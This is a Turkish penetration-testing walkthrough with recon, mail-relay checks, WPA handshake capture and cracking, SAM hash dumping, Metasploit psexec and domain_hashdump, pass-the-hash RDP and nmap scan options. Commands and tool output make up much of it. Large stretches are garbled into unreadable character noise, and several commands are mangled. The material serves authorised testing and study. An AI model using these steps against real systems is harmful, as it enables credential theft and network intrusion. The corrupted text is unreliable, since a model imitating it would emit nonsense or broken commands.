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DNS

Dnsenum kurum.conkomutuyla ns, mx, ve zone transfer bilgileri tek komutla toplanabilir.
Dnsmap kurum.conkomutuylansmx,mai#S adzo R2 Yl Ay oA f IAEf SNR (2L} | yP
| SNJ 0 A NP I IRPNI I+ &INE PR labilksiniz.2 Ydzi f | NI I RIF & LJ

DNS Sunucunun belirlenmesi
Dig ns kurum.com

Nslookup-type=ns kurum.com

Zone Transferi Testleri
Linux ve kali d®ig axfr @kurumdngom

Windows nslookup
serverkurumdnsip
set type=any

Is-d kurumdns

DNS Subdomain Tespiti
Theharvestet N} OP 1 dzf  FyARif FyNi31S LJ2daNibzYsl 3 dzo R2YF AY O0Af FAf &

TheharvesterR R2 YI-Baf I RP
Dnsspidet NI} OP 1 dzf £ FyF N} 1 Rya adoR2YFAYfSNB 1Fol 1 dzde

YdzNHzY Lt . €21€FNPYPYy ¢SaLAGA
https://www.ripe.net/ sitesinden kuruma ait herhangi bir ip adresini girip blok tespit edilir.

mNY S € Ay ysparékxk@umdeldomain adresini yazarak, kuruma ait ip adresi tespit edilir. Daha
d2yNI NRALISoOYyShHG I RNBaAyRS aaSIkNOK AL  RNBaaé ol fN
bulunur.

Kurum Whois Bilgisi Tespiti
1 I f AwholRBurudadi.comé | 2 Y dzilaaifyl 6 K2Aa 1 &8RP oAt IAAA | PYHF

Kurumaaiti NY o0Af IA (GRPGBIF EPRIAAE EXMA A I NI+ G2LX F&Fo0Af AN

sniper, reconng
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file:///C:/Users/b2h/AppData/Roaming/Microsoft/Word/Penetrasyon%20Testi%20Adımları12022018.docx%23Recon-ng:

EPosta Testleri
Et2adl . FoftPl !'yIfATA
Kurumdan gelen€J2 & G I 6 I 6 f rRjobldodsdesindd bByhamNG MRS NJ F y I £ @1 SNJ | dz

Mxtoolbox header analyzdr dzf £ | y Pt I NI a (| FdzNEREFMSE My6eO A L) 0Af TATL €
bu bilgi not edilir

aidft SNA
RPYRFIY YFAf FfPLI FEYFERPEP (S

SahteBE 2a Gl 9NROGAY
1 dzNHzY dzy 1 SYyRA Lty

- U

St ySiG 1dz2NHzZYYE]lF &8RP Hp
ehlo

mail from: test@kurum.com

rcpt to: test@kurum.com

Relay testi:
St ySiG 1dz2NHzZYYE]lF&@RP Hp
ehlo

mail from: test@test.com

rcpt to: test@test.com.tr
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Et 240l KSal LX I NP OAFTNBE GSadft SNA
Kurum smtp sunucusuhd LJ2 LJo o mMmMnIddppo> Lal!t omnoXddpou > KidL
2f YI RPEP GSaLIAlG SRATAND
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Et 230F { dzydzOdz %k N* NI P &1 Pt PY G(G4S&adft SNR
SetoolkithA f S LIRF T I NF¥ NI P @& bd(imstamy SaAd2dedid dzNIRINBNIAGS  13dzNIRY

Blacklist Kontrolleri
Mxtoolboxd A § SAAY RS odzf dzyly oflF O1ftA&ald {2yGNRBEN &I LIPtP

TYGSNY3&ES SIVYEBNAY | I NAGFETYYF&AP
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Linkedinveya] dzNXzY & Sndan &espi eHilelliP

Kurum Web sitesie Uygulama Testleri
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wordpress ise)
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Domain Controller ve DNS sunuespiti:

YdzNHzY | EPYl o6F€ftFyPNIolEtlryYFET Afl1 &F LPELF Ol
aAONR&2F0G R2YFAY [fdelrLIPAP G N A&AST R2YLIAY
AceAy GSaLAlG Su ByEPA VA ITY | RfviRdculdrigyd@idf O 1 G P NI

Aot
dzy dzC

W —

baf221dzld 1 2Ydziidz {dzf f | yPIeRREPYRI Ry & adz/dzOdz aAl $

Networkteki sistemlerin tespit edilmesi.
NmapA £ S @I NI PLf I NPYy KFEy3aix AoftSGAY aAadSYA NISNRAYR
hangiservis SNAY cel t PO UPEPST KI y3IA Liespidedilic. NPy | Pl 2f RdzE

¢SaLAld SRAfSYy aradsSy @S OAKITEFNPY NRffSNROD
bYFLI AftS LR2NI @S aSNWA&a oAft3IAAAYRSY KFy3dA NRtS a

aSilraLX 2A0 AfS aAONRPRPWE N2 Q@AY FWX PNaAY | 6 EPRI
aStlraLX 2Ad | ePt PNJ oYatTozyazftSo

LJ2 NIi dz N1

use auxiliary/scanner/smb/smb_versiot 2 RNf N At S A @®SNARS o)
ARGSYA (dzf I YR

@S oAfIAA&lI@FNIFNPY KFEy3arxr ASEtSGAY a
2f YI RPt&d@ir. 1 Sa LA

YIof2adzad '€ ¢Saday
YIo6ft2add € OAKFETP {FtABS o0FEfl YPNE

ToO2YFRE dzd f | K2lyofy2Ravd® 128y G NRt SRAE A NI
airmon-ng startwlan0] 2 Ydziidz 1dzf t F yPEF N1 Y2yAGI NI Y2RI | f PyPl
' ePl 2fly &aSNIBA&AESNI {Aff 12Ydzidzat | {1 LI GPE PN

. 4 w = w > ~ T v W
airodumpngwlanOmon] 2 Ydzidze f I 1 Fof 2adzl € OAKFI fFNPYPY aa?
istemciler tespit edilir.

CH 6 ][ Elapsed: 5 mins ][ 2018-82-12 ©06:51

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:03:61:B8:A0:72 -60 420 (o] ] 1 48e. WPAZ CCMP PSK CSU_Guest

00:02:61:B8:A0:72 -72 415 82 2] 1 48e. WPAZ CCMP PSK CsU WIFI

BSSID STATIOMN PWR Rate Lost Frames Probe

(not associated) 84:38:38:EF:30:F4 -57 o - 1 ] 10 VAMT , VAMS , smt

00:02:61:B8:A0:72 90:FD:61:17:F6:93 -54 o -24 (2] 39

00:02:61:B8:A0:T72 98:E7:F4:FB:39:D2 -55 o -24 2] 3

00:92:61:B8:A0:72 S5C:E®@:C5:B1:51:2F -56 8@ - 5e (o] 37

00:02:61:B8:A0:72 T4:2F:68:B0:58:9E -58 o - 1 2] 13

00:02:61:B8:A0:T72 24:F0:94:83:CD:6C -58 a -24 2] 42

00:02:61:B8:A0:72 F4:0F:24:20:35:84 -65 o -24e 44 4

00:02:61:B8:A0:T72 B8:53:AC:3D: A6: B8 -78 o -24 2] 36 CSU_WIFI




' Yy3A ATAOIGBIKEGRSRTAE PEPY L AU 0daaAR el |l Pt NI

airodump-ng--bssid 00:02:61:b8:a0:72v /root/Desktop/c su_wifi wlanOmon
CH 10 ][ Elapsed: 5 mins ][ 2018-92-12 07:04
BSSID PWR Beacons #Data, #/s CH MB EMNC CIPHER AUTH ESSID
PP:02:61:B8:A0:72 -56 201 61 0] 1 48e. WPAZ CCMP PSK CSU_WIFI
BSSID STATION PWR Rate Lost Frames Probe
0:02:61:B8:A0:72 30:5A:3A:B6:37:F2 -32 (0] le 2] 1
0E:02:61:B8:A0:T72 84:38:38:EF:30:F4 -51 8] 24 5] 12
00:02:61:B8:A0:72 9@:FD:61:17:F6:93 -55 o -24 5] 31
PR:02:61:B8:A0:72 24:F0:94:83:CD:6C -56 o -24 2] 23
0:02:61:B8:A0:72 @C:8B:FD:4B:9E:11 -57 2e-54e 2] 31
PE:02:61:BB:A0:T72 5C:E0:C5:B1:51:2F -58 o] Ze 5] 30
PP:02:61:B8:A0:72 AD:32:99:E5:39:D9 -66 5] 1 27 48
PP:02:61:B8:A0:72 B8:53:AC:3D:A06:B8 -69 o -24 2] 37
0:02:61:B8:A0:72 74:2F:68:B0:58:9E -52 (0] 1 2] 11

5 KI a2y N} RSIFdzZiKSYdGdAOFdA2y LI 1SGA 3IFI YyRSNRE SNB]
o€t YYlI &P &l €t yPND

aireplayng -a00:02:61:b8:a0:72vlanOmon-0 0-c0C:8B:FD:4B:9E:11
AFTNBYAY 1 PNPEYIFAPY

581 dzi KSYy GAOFGASY (LIS GA NaEdIBdE Y ROERYWRPY Rl & ¢ LI
KFYR&KE 1 S$é oA hoRdshakgpa@BinyekdmnR PP YRS #XaJK § KA BWA R dzNR d:
d Kl a2y NI RdzyYLd SRAE Sy OF LI R2&&F &Pyl 1Fol 1 d@o8i

aircrackng/root/Desktop/csu_wifi-01.cap-w /root/Desktop/rockyou.txt

Bl ePFEt Pl ¢l NI YI
¢SaLIAld SRATSYy aSNWAa O0S airadSYESNAYy 1T 1FePTt Py
Nessuq dzf € I yPEF NI 1 T FFA&SG GFNIFYFAP & LIPf PN

b S a & diaderNtés@tNdilen zafiyetlenetasploitgSe I O2NB A YLI OdG 1dzZ £ I yPE |1
SRAfYSeES e fPOPE PN

{ PT YI

52YFAYy (dz I yPOP StRS SiGYSY

{PT Yl GSAHYSWAYRSI SYPLfFNRIY oO0AN IyS&A R2YFAY
R2YI Ay (dz £ yPOPaP St RS SRA{ RdbrBaln canttoleRdadBRI®E (G NY
K11 Pyl &l KAL) 2f Rdz€Edz AceAy I IIRNIOELKN2INBEMNNIF NF OP At S
Ll ya8Y. oz AOfESY AeAy OFAY 9 1'6St {(df €t yPt PNP ! € |
GNY € GNIFAEAYAY &ATAY NISNAYAT RSy 3AxdySar &l
controlleraveyad J2 & G | & dzy dzOdza dzy Iy R# ( dzNHzR I | EWIR SOBNI g ®zf £ | Yy P
veya hashli olarak elde edilebilecektir.

I YyGBYB2YIAY 1dftlyPOPEP SERS SUYSYAY -pestee SNI & |
I3 YRSNAYA AcAYy ATAY OSNAESYy 1ddtFyPOPEEFNI 2t 0At


Penetrasyon%20Testi%20Adımları12022018_v2.docx#Nessus:
Penetrasyon%20Testi%20Adımları12022018_v2.docx#Metasploit:

KSNKFY3IA O0ANI 1dzZf £ yPOP 2f dzLJIl 2t Yilt FPEeY® P 3 i NB fy POR
ddzy dzOdzy dzi I 1 dzN> 0 AfF EOSEY¥RSET oA RNB) B @RPAifterdalli { St RS
12YFAINNI 882y Rl £ RIL &dzydzOdzadz 2f I N} 1 1 SYRA YI | A\
sizinsunucuya | €t | y I OF1 @S 6AFNBeA aArAl S 31 yRSNBOST iAND

Ll yid®8Y &ESNJ SAS FeP|l LIBEFOPYEIIND ! y2dzy2dza 2f€ F NI |
FRP @S OAFTNBESNI GSaLIAG SRAfYSeS el fPOPEPND . dzy dzy

use auxiary/scanner/smb/smb_enumshares
setSpiderSharesrue | 2 Y dzii dz& tYIPyLIH & il B | a1 N¥ SNAYS SNAOGAY al €1
Setshowfilestrugl 2 Ydzidza t 1 KFy3IA R2aélfF NPy 2fdzd 2t YI RPEP

L yi®SReYHYAY 1dzA £ FyPOPE L NPY | {LOFONER 11 dzQ GHE (E Fayh 6 yR P NIEE &
SRATANI . dzydzy Acehy YSGl&aLX2A0 RS odzZ dzyly |6k EPRI

use auxiliary/scanner/smb/smb_login

Domain] dzf f | Yy POP& P SARR S ESBIAZ NERAYU SopP tENYNBISR £ £ SNJ A LI R
S AXBNENY R2YFAY &FLIPAP GSaLAG SRAEAND

52YFAYy 1dz £ yPOPEtFNPSE F{OGAFT RATAY RS odzZ dzyly a
R2aelAaPyPy It GPYRI GFyPYEP INRdzL) LI2f A0&8f SNBE SNAO

use auxiliary/scanner/smb/smb_enum_gpp2 RNf N ARS Ré@zvt Ay Pf Iy 3INHzL) LR
1dzZ £ I yPOP FRP @S OAFTNBESNI GFNJI AasS 2yt N GSAaLAG S

52YFAY O0AFNB LREAGA|IFIAPYPY {1 2Yi0NREfNY

Fe8S0i 0ANI R2YIFIAYy (dzZ SHVROREPYPY LIWRESRAYS Y2RINA
OAFNB LREAGATIEAP 1 2YyU0NRBEf SRAf AN

Net accounts /domain

Ydzft £ | yYPOP . Af IA&l&FNPYP ¢Sad 9uGYSY
Kurumdan domainde bulunan personele verilen bir bilgisayar istenir.

BLh{ I &@FNXIFINIFINP FOYIRFYIBRNUHSNBYENBAZ2SZRAT AND . L
kali olan usb ile bilgisayar boot edilir.

I 8| € BKRivelveisamdumpRomutlarRel £ PO 6 PNPE | KF B KE SNI | £ Py PN

2 AYR2g4a LINIAGAR2Y 2fF N1 kRSOkaRldeld 2F NNl f BE G BMWF
# mkdir-p /mnt/sdal

# mount /dev/sdal /mnt/sdal

# bkhive /mnt/sdal/Windows/System32/config/SYSTEM /tmp/sasgskey.txt

# samdump?2 /mnt/sdal/Windows/System32/config/SAM /tmp/savegskey.txt > /tmp/hashes.ixt

I FAKE SNI | f PryaRKPE | SINd Y daf2fyINGPEKE N {1 aYowf 23Ay RSySyYSa
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$S OGAFNBESNIBOSHE akt RENBRPPI KNI GFE SyPIP + RP 0S5 064
https://github.com/danielmiessler/SecLists/tree/master/PasswotdRNE & A Y RSy SRIRNFBS O A £ A
A adWdfs, Patator, burp, zapprox@ S& I YSGl aLX 2A G Y2RNff SNRA (dzZf £t yPf

- v b
I+
=
fot
o

Telnet:
Ssh:
Pop3:
Imap:
ftp:
mysql:
mssql:
oracle:

http(s):

Sistemde hak elde etme:

%l FA&SG (1dzAt1yPEFNFI]l] &aAaGSYRS KIF1 StR SRAf RAT (S
i. SysinfoKIF{ St RS SGGAEAY &dzydzOdz oA f A A
i. DSGdZAR o6adzydzOdz2l KIy3IA KIFI1 AftS ol ¢€
ii. ta o oprosesad)l y

iv. [2FR 1A6A O01A6A Y2RNfNyN &Nt SND
v. [/ NBRawlff O6NI}Y RS{TA OAFTNBESNR | Pl 2fFNF1 I f1
vi | &aKRdzyYLJ 0t 211t 1dAtFyPOP KIFaKfSNAYA | fPND

vii wdzy LI2alik2AyYyR2g6ak3alFI GKSNkSydzYdd 6ceAFlG GFo6 &I LI
vii.  Run post /Windows/gather/crederitit ®® 6 oA FG G 6 &1 LI NI 1 0 A Nbe2|
ix. {ljf ol f POP@2NJ AaS LIad Y2RNffSNRSYy alfuyKlaKRec
X. | KNRYS LINP&AS&EA | Pl AasS LR&a&G Y2RNff SNRSYy OKNJI

S
A0
fFyRPEPYPI

9f RS SRAfSY KIaKI{tHHFEPROPAODE2BANTFNPdZOAE ARE BN A f
use auxiliary/scanner/smb/smb_login
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use exploit/windows/smb/psexec
{Aa2GSYRS YIfPOP hfYlLY

9f RS SGUGAEAYAT &adzydzOdz 688G R2YFAYRS odz dzyl y 4 dzy
kdzf t | yPOPAPYPY 2(dzNHzYdz 12y GNRBfirr SRATAND Tf{3IAtA R2

t 230G Y2RNEfSNI {dzf tFyPEFENFY{ SydzY¢gR2YIFAypO2YLlziSNA
{KStt 12Ydzi al GPNPyl 3SceAf SNB| F6FEPRI1TA 12Ydzit |
Netusers/domain 0 R2Yl Ay RS 0dRPOAFH I YANNVER dBERY SRAT ANIDO
bSG 3INRdAzL) dR2YI AYS5RRYAYaE RVRYYNEG I YyPOPE I NPYPY &
bSG 3INBdzLI ahNHEF yAT I (i A00yE GeKl Y1 3BS Yo Witsél AkOR2A YSINRYW A Y 0 .

F8SG el tPOFY LINPASAASRSIJREPBRAE {AYPOPIE ST YAL Ry RE
I ePtf PNJ @S {1t POP KIFItS 3IStAND
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bSiG 3INRdAzLI ahNBIFYyATFGA2y alyl3SYSyidé INGSytAlyisSa

Domain Sunucusunu Elde Etme:

52YLAY FRYAY 1df fyPOPAP St RS SdGGAeadSyrl o8&l 1d
iseniz, veya domain sunucusund&za @ SG GSaLA G SGUGAYAT @S T FA&SOHA
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t ASESO Y2RNEN 1dzf t FyPEFNI]l AfIAEA &dzydzOdzRlE Y S SN

Run post/windows/gather/credentials/domain_hashdumpr2 RNf N { dzZf f  yPf I NF 1 GNY
1dzf £ I YPOPE I NPYPY KF&AKA FfPyPND
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Eposta Sisteminin | Y SGAYAY

9t RS SUGAEAYAT KSal LI a2NBIYATIdA2y YIylF3ISYSyiaé¢ 3
YEYyFr3SYSyd 3INMzdzyl S{1tSRA AaSyAl s 9EOKIYy3S &dzydzC
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Toot@kali: # pth-winexe
winexe version 1.1
This program may be freely redistributed under the terms of the GNU GPLV3
Usage: winexe [OPTION]... //HOST COMMAND
options:
-h, --help Display help message
-V, --version Display version number
-U, --user=[DOMAIN/]USERNAME[%PASSWORD] Set the network username
-A, --authentication-file=FILE Get the credentials from a file
-N, --no-pass Do not ask for a password
-k, --kerberos=STRING Use Kerberos, -k [yes|no]
-d, --debuglevel=DEBUGLEVEL Set debug level
--uninstall Uninstall winexe service after remote execution
--reinstall Reinstall winexe service before remote execution
--system Use SYSTEM account
--profile Load user profile
--convert Try to convert characters between local and remote code-pages
- - runas=[ DOMAIN\ ] USERNAMES:PASSWORD Run as the given user (BEWARE: this password is sent in cleartext over the network!)
--runas- file=FILE Run as user options defined in a file
--interactive=o|1 Desktop interaction: © - disallow, 1 - allow. If allow, also use the --system switch (Windows requirement). Vista does not support this option
--ostype=0|1|2 05 type: 0 - 32-bit, 1 - 64-bit, 2 - winexe will decide. Determines which version (32-bit or 64-bit) of service will be installed

NTLM HASH. ..

YENDP GFNIFFGF OYR A &S VA TE I dfilGtP yF RENTP | HiceB/LI ANR/LNI & FALS
SAESANDYWHRANY A4S EFNBSNRLI N OPYP (1dAflyYl]o®
Kali deapt - get install freerdp -x11 1 2Ydzidz2f+ NI OP 1dzNI 6Af ANBRAYAI

1 ~# r roff Sdiwin2012 /pth:8B846f7caeaBfbll7
connected to 168 ] 389

FreeRDP: 192.168.2.102

Administrator: Command Prompt

icrosoft Windows [Uersion 6.3.960081
{c>» 2013 Microsoft Corporation. All rights reserved.

ssMindowsssysten32ripconfig

Jindows IFP Configuration

[Ethernet adapter EthernetB@:

Connection—specific DHNS Suffix H

: feBA::d4%c:5946:4338:64208x12
: 192.168.2.182

= 255.255.255.8

: 192.168.2.77

unnel adapter isatap.{46F858CB-F72F—4D?B-BD48-A477CA1B4619>:

Media State ¢ Media disconnected
Connection—specific DNS Suffix H

xUWindowsssystemn32>



https://localhost/ecp
https://exchangesunucuip/ecp

VeiltFramework
LYGAGANNEG Gt F Gy Vaill Wi © P iF NR gzZR§ Ve A NGR BOPdRS) dzNJ

té)fﬁééu RS 1dzZf €t ' yPEt Iy | NI oef | N¥Y
Nmap:
+ N PLEFNPY KFEy3aia A6fSGAY &AAGSYA NI YNAARIS el f P

ASNDAAE SNRAY cel f POGPEPT KFy3IA LERNIEIFNPY FePl 2fRd
SRAtSY o6dz 6AfIAESNRAY RIKF &a2yN} yS GNNITIFFFA&SGS
@ e3Py 2t NIje Y L1 ¥ Ri IOP RIP NI

bYlF LI 0ANJ 2] LI GF2NYVRI ol t POSFOAEAND AT LIWGTF |

ISNS1t SOGANBOSEAT @

9y o0 aAd nmdpt<Hddef IPROMuUtuRU k@lanabiliriz.

bYFLI FIENJEP GFNFYEF @1l YyiSYNLOF HESHSUYBNF NI atzy WY !
81l yiSYA @S aSeSyS1ftSNR o0AfYSYyAl &aAlAy K
aletlerOFlaGaPNY

bYFLIQAY FENJEP GFNFXYF @1 yidSYA @S aSceSyS{ifSNAyS 13

bYlI LI {2Ydzidzydz KSNKFYy3IA O0AN aSeSyS] GSN¥YSRSYy cel f
orodtr L/at 9/1h @S ¢/t 1/Y O0F&NIEPYP 3l yRSNENS
1@t StA1fS KSRST Lt QRS (1AydlI B PPRPY PP I ¥t 8z8J 21V

{GFYRFENI GFNFYFRFEY O0AN]Fcoe | NYyS1T GSNBfAYOD
nmap 192.168.152.135 | ¢S1 O0ANJLt |RNBAA Aciy GFNIYF &I LI

nmap 192.168.152.13%550 | M®MPHDPMCYy DMpHPMOP DS MPHDMCYy PMPH DM
adreslerini tarar.

nmap-IL iplistesi.txt | ALX AaiGSaAPGEG R2aélaP AeSNAAAYRS

FaAhG O0ANI GFNFYYEF eP6PRPYYI BRIV PY@P im o2 DR dz§ dryidz
G NI RpRyhRIEredp f RdzE dzy dzZ | el Kit WHAALIANINDIANRRISNA Y | «
etti.

root@kali:~# nmap 192.168.1.216

Starting Nmap 7.60 ( https://nmap.org ) at 2018-02-13 ©3:01 EST
Mmap scan report for DESKTOP-6T20TST (192.168.1.216)

Host is up (0.00080s latency).

Mot shown: 997 filtered ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

MAC Address: F0:03:8C:0A:53:75 (AzureWave Technology)

Nmap done: 1 IP address (1 host up) scanned in 18.79 seconds
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ACK=APYRP aSalaP 6! O01ly26ft SRISYSy (o
w{¢ I' . FT€tryldP ALINItAoOwSaSiov
CLb I' . AGANXS YSal 2P 6CYyA&aKDOD
0Qf N St aPlPoYIlY

e - @

ACK .~

| SRST¥ AfS 1dzZflyPOP FINIaPyRI GFY O0ANIOFETFIYOP &l
@S otetlrydP 1FePld FEtGPYl |t PYPND

Ydzft PEYyBOEE I yiP {1 dzN¥I]1 AAGSRAEA KSRST¥S ¢/t {.b Y
¢/t {,bk!/Y YS&lI2P RIYSNE 1dzf £t yPOP GSINACGKI ! /Y Y
"TCPconngmnA & 9{ ¢! . [ L{195b YSalra2P 31 YyYRSNANXP .dz Adf SY

¢ NFYFE GNNI SNAY

t Ay 3 GIINFYYHEARYGISYE SNB tAy3 FGFNI]1 @FyPld SSNByYy a&aa
nevi sunucu ve istemcileri tespit eder

nmap-sP 192.168.152.0/24

TCPSb ¢ N*IYMNBRIPY¥PE Yy @GFNFYF HEBNNRANRNDII YRSNRAESYy { |
J1 NB 3ISNeS1fSOANW® DI YRSNAESY {.b LITSGAYS 1} NbPI
O0ANJ a2y NI (A LENI AfS RSGINM2 SIREND @RS N2 RBRY dzy | V&
LI 1 SGA 31 yRSNRAE SNB] AfSGAGAY {'dxNbee Yo RE W  &If NI &

GFYFYEFYYFEYlFIaP @S KSRSFT aradSYRS (FrePd FtaGaPyl |
nmap-sS 192.168.152.0/24

TCP Connect ScaBu taramad®@8Q SK 0&P{ Rt SYA ISNeS1f SOANI @S GF NI Y
GSTYAEAYAY GSNEAYS S€SNI{.b LI 1S8GEtSNAYS 1FNBPEP]
GFYFYEly PN

nmap-sT 192.168.152.0/24
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nmap-sU 192.168.152.0/24

NULL-FIN-XMAS Scaro G N} YI GSIWANSRBA 1 PANVAGBENXYS]{ISRAND DIy
2fF N1 w{¢b!/Y 31l YyRSNAfAE2NRF LIRNI {ILIfPI L/ at
6Se 3JI yRSNAt YA@2NREF LRNI I Pl dPND

NULL ScahNT SNAYRSyYy 31 yRSNAE Sy LI { RBESNIRK SINIO6 KISWA K | ¢/ AN
uygulanmaz).

nmap-sN 192.168.152.133

FINScaNT SNAYRSY 31 yRSNAE Sy LI {SGftSNICLb o6l &NFEPYL
nmap-sF 192.168.152.133

XMAS ScahlT SNAYRSY 31 yRSNAE Sy LI 1SS0t SNE FINJEP o6 &N
nmap-sX 192.168.152.133

¢ NFYF GNNISNAYA | ENBYRA1GSY a2yNl O0AYRARS 4SSy
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¢systemdnsY Toft SGAY aArAaidSYAYS IAG 5b{ e I NYf S&AOA | dz
ctracerouteY ¢ NJ} OSNR dziS |11 StftAEAYA | 1GATFT KFES 3IS3GANRNI
openY { I RSOS I Pl LENIfFNP 31 NNYGiENt SYSYATA &l €f I N
¢packettraceY ! f Py ly @S 31 yRSNAE Sy GNY LI 1SGf SNRA 31 NNy
nmap [hedef IP]>taramatxy¥ , F LIPf Ly GF N} YIyPy GEG F2NXYIF GPYRI
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nmapcsSF 192.68.152.133 | 9y @&Fe&3aPy wmnn LRNIdz G NI

nmMapgsScp80 192.168.152.133 # 80 portunu tara
nmapc¢sScpl1-100 192.168.152.133 | m AfS mnn FN}YaAaPYyRF (A LR2NI
nmap¢sScpl,100,102 192.168.152.133 | mMX mMan @S naud LIR2NIEF NP GF NI

nmap¢sSctop-ports<10> 192.168.152.133 | 9y aP| (dzZ t I yPf 'y wmn | RSO |1
nmapgsSep- 192.168.152.133 | cppop FRSG LRNIdzy GF YFYPYP
nmapgsSgp U:53,T:22 192.168.152.133  # UDP 53 ve TCP 22. portu tarar

nMmap-sS-svV192168.152.133 #Servis bilgisini tara

nmap-sS-O 192.168.152.133 | Tof SGAY aAAGSYAYA GSaLMAG Si
nmap 192.168.158/24 --exclude 192.168d H ®H I M pH dPMcy dPmpH Po | A2y RI 1T A A}

nmap-sS-A 192.168.152.133 |l 9y &aP| (dzAk I yPtly &ONRLIt SNI
nmap¢sScoN tarama.txt 192.168.152.133 | ¢ - ¥AYRE&X y2NXIf bal!t Pl (P3
nmapcsScoX tarama.xml 192.168.152.133 1 - a[ O0A @A YAYRS O0ANJ PGP NNI
nMap¢sSCoA tarama 192.168.152.133 | ¢NY O0AcAYf SNRS ®Pl]iP OSNANJ
nmap-D 192.168.1.10192.168.152.133 | ¢ NXI 8P M ®d LIPe @WK dzb LIEM
Il a0SNANDLALRTFTAYIO
nmapcscript vuln 192.168.152.0/24 | 1 SRST aA&ad0SY NI SNAYRS1TA T
nmapcscript=ftpbrute cLJ HM MPH DPMcyYy PMpHDPMoo | | SRST YI{AYylLYyP
yapacak

nmap--script=all 192.168.15233 | ba!t A@SNAEAYRS 1A GNY &aONJ
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Tenabl®@ Py Af IAfTA | RNBaAyS (&Pl &l LPtPLI SOFfdza GAzYy
https://www.tenable.com/products/nessus/nessyzofessional/evaluate

I Fy3A LEFGF2NYRE {dA € FyPtFOF] A&S 2yl 31 NB Af IAf

Kuruluma 2 y Ntlpsi/@calhost:8834- RNBaA Y RSY SNAOGAY &l €f  yPND
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QX
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Y dzNHzf dzY 3 RidjeAS S000dZNHR” | ePf RP1 Uy a2y Nl aySé
GFNF YL A8tSY o616t dPt PN

New Scan / Basic Network Scan
¢« Back to Scan Templates
Settings Credentials
BASIC ~
Mame tarama ad||
General
Schedule o
Description
Notifications
DISCOVERY
ASSESSMENT Folder My Scans -
REPORT
Targets 192.168.1.216
ADVANCED



https://www.tenable.com/products/nessus/nessus-professional/evaluate
https://localhost:8834/

¢ NI YI & 2yeNisteleRr vé ilgifF Zafyet metasploit veya core impact ile test edilir.

EEIEN  MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALR... Plugin Details

Description

The remote Windows host is affected by the following vulnerabilities

- Multiple remote code excution vulnerabilities exist in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An
unauthenticated, remote attacker can exploit these vulnerabilities, via a specially crafted packet, to execute arbitrary code. (CVE-2017-0143, CVE-2017-0144,
CVE-2017-0145, CVE-2017-0146, CVE-2017-0148)

- An information disclosure vulnerability exists in Microsoft Server Message Block 1.0 (SMBv1) due to improper handling of certain requests. An
unauthenticated, remote attacker can exploit this, via a specially crafted packet. to disclose sensitive information. (CVE-2017-0147)

ETERNALBLUE, ETERNALCHAMPION, ETERNALROMANCE, and ETERNALSYNERGY are four of multiple Equation Group vulnerabilities and exploits disclosed
on 2017/04/14 by 2 group known as the Shadow Brokers. WannaCry / WannaCrypt is a ransomware program utilizing the ETERNALBLUE exploit, and
EternalRocks is a worm that utilizes seven Equation Group vulnerabilities. Petya is a ransomware program that first utiizes CVE-2017-0199, a vulnerability in
Microsoft Office, and then spreads via ETERNALBLUE.

Solution
Microsoft has relessed a set of patches for Windows Vista, 2008, 7. 2008 R2, 2012, 8.1, RT 8.1, 2012 R2, 10, and 2016. Microsoft has also released emergency
patches for Windows operating systems that are no longer supported, including Windows XP, 2003, and 8.

For unsupported Windows operating systems, e.g. Windows XP, Micresoft recommends that users discontinue the use of SMBv1. SMBv1 lacks security
Heatures that were included in later SME versions. SMB1 can be disabled by following the vendor instructions provided in Microsoft K32696547.
Additionally, US-CERT recommends that users block SMEB directly by blocking TCP port 445 on all network boundary devices, For SMB over the NetBIOS API,
block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

See Also

https://technet microsoft.com/library/security/M$17-010
httpi//wyww.nessus.org/u?321523eb

http://www.nesss.org/u?Tbec1941

hitp:/fwww. nessus.org/u2dofS609ck

httpsi//blogs.technet.microsoft. 16/09/16/5top-using-smb1/
hitps: rosoft.c b
http:/fwww.nessus.org/u?8dcabSed

http://www.nesss.0rg/u?36/d3072

http://www.nessus.org/u?4c7e0ct3

Critical

7833
Version: $Revision: 1.14 §
Type: remote
Family Windows
published: March 20,2017
Modified: September 7, 2017

Risk Information

Risk Facter: Critical

CVSS Base Score: 10.0

CVSS Temporal Score: 9.5

CVSS Vector: CVSS2RAVIN/ACL/AUN/CIC/C/AC
€VSS Temporal Vector: CVSS2#E:F/RLU/RCND
IAVM Severity: |

Vulnerability Information

CPE: cpes/aimicrosoftwindows

Exploit Available: true

Exploit Ease: Exploits are available
Patch Pub Date: March 14, 2017
Vulnerability Pub Date: March 14,2017
In the news: true

Exploitable With

Metasploit (MS17-010 Eternallue SMB Remote
‘Windows Kernel Poal Corruption)
Core Impact
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TheHarvester:
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root@kali:-# theharvester
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TheHarvester Ver. 2.7
Coded by Christian Martorella
Edge-Security Research

cmartorella@edge-security.com
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Usage: theharvester options

-d: Domain to search or company name
-b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
google-profiles, jigsaw, twitter, googleplus, all

-s: Start in result number X (default: @)

-v: Verify host name via dns resolution and search for virtual hosts

-f: Save the results into an HTML and XML file (both)

-n: Perform a DNS reverse query on all ranges discovered

-c: Perform a DNS brute force for the domain name

-t: Perform a DNS TLD expansion discovery

-e: Use this DNS server

-1: Limit the number of results to work with(bing goes from 58 to 50 results,
google 100 to 100, and pgp doesn't use this option)

-h: use SHODAN database to query discovered hosts

Examples:
theharvester -d microsoft.com -1 500 -b google -h myresults.html
theharvester -d microsoft.com -b pgp
theharvester -d microsoft -1 200 -b linkedin
theharvester -d apple.com -b googleCSE -1 500 -s 300

theHarvester -d gmail.com -b bing -1500 { 2 Ydzli dzy dz cel f PO G PNRPERNRI RPY RBIAY -
AYRS1&at SYYAS 3IAYIAf ®O02Y R2YFAYA AceAYy pnn az2ydzl |

theHarvester -d gmail.com -b google -1 500

12Ydzidzydz {dzf I yRPEPYPI RI A4S o0dz aSTSNI 3223t 8 F
2 f RdzE dzy O T-bpatar S aNeb/dlice Mashy 1 dzZf € FyPEF O] GNY (Fey



root@kali:-# theharvester -d gmail.com -b all
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TheHarvester Ver. 2.7
Coded by Christian Martorella
Edge-Security Research

cmartorella@edge-security.com

*
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Full harvest..

[-]1 Searching in Google..
Searching @ results...
Searching 100 results...

Searching in PGP Key server..

Searching in Bing..
Searching 50 results...
